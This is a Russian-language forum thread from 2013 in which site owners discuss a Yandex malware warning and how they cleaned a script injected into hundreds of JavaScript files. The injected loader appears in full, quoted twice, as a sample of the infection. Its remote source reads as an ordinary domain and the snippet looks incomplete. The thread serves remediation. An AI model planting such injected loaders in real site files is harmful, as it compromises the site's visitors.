Вредоносный код на сайте

[YOLO]

Недавно Яндекс заблокировал пару  ресурсов с надписью-  вредоносный код на сайте.

Оказалось что во всех js файлах, а их около 700 шт. есть такой код-

/*b44d55*/

function srcc() {
var ff = document.createElement('script');
ff.src = 'mail.ru';
if (!document.getElementById('ff')) {
document.write('

 

');
document.getElementById('ff').appendChild(ff);
}
}
srcc();
/*/b44d55*/

.Подскажите, с помощью какого редактора  можно убрать этот код сразу со всех файлов?

Изменено 23 августа, 2013 пользователем YOLO

[HooLIGUN]

Врятли получиться удалить код со всех файлов сразу. Если это системные файлы,проще их перезалить

[YOLO]

во всех js в самом конце, если всё в ручную по одному удалять, часа 3 займёт.

Если обновление версии сделать, они перезаписываются?

Изменено 23 августа, 2013 пользователем YOLO

[HooLIGUN]

Если файлы системные (идут по умолчанию с движком) , то да , перезапишутся

[YOLO]

В ручную почистил файлы от скрипта, обновил движок, яндекс разбанил.

Тема закрыта.

Изменено 29 августа, 2013 пользователем YOLO

[WOLF]

Недавно Яндекс заблокировал пару  ресурсов с надписью-  вредоносный код на сайте.

Оказалось что во всех js файлах, а их около 700 шт. есть такой код-

/*b44d55*/

function srcc() {

var ff = document.createElement('script');

ff.src = 'mail.ru';

if (!document.getElementById('ff')) {

document.write('

 

');

document.getElementById('ff').appendChild(ff);

}

}

srcc();

/*/b44d55*/

.Подскажите, с помощью какого редактора  можно убрать этот код сразу со всех файлов?

как вы узнали что именно этот код является вредоносным? Через какую программу или сервис?

[YOLO]

как вы узнали что именно этот код является вредоносным? Через какую программу или сервис?

после того как безрезультатно просканировал неоднократно разными  антивирами на компе и антивирусом на хостинге, обратился в поддержку Яндекса, они мне и указали на этот кусок скрипта объяснив что он в жс файлах,  ну и открыв их сам убедился что он там есть, я не знаю насколько он опасен, этот код, но после удаления Яндекс сразу отстал.

От куда он взялся это осталось загадкой, возможно с   другими пробными движками.

Изменено 29 августа, 2013 пользователем YOLO

[WOLF]

после того как безрезультатно просканировал неоднократно разными  антивирами на компе и антивирусом на хостинге, обратился в поддержку Яндекса, они мне и указали на этот кусок скрипта объяснив что он в жс файлах,  ну и открыв их сам убедился что он там есть, я не знаю насколько он опасен, этот код, но после удаления Яндекс сразу отстал.

От куда он взялся это осталось загадкой, возможно с   другими пробными движками.

благодарю, у самого просто подобная проблема, чтож, буду писать в ТП Яшки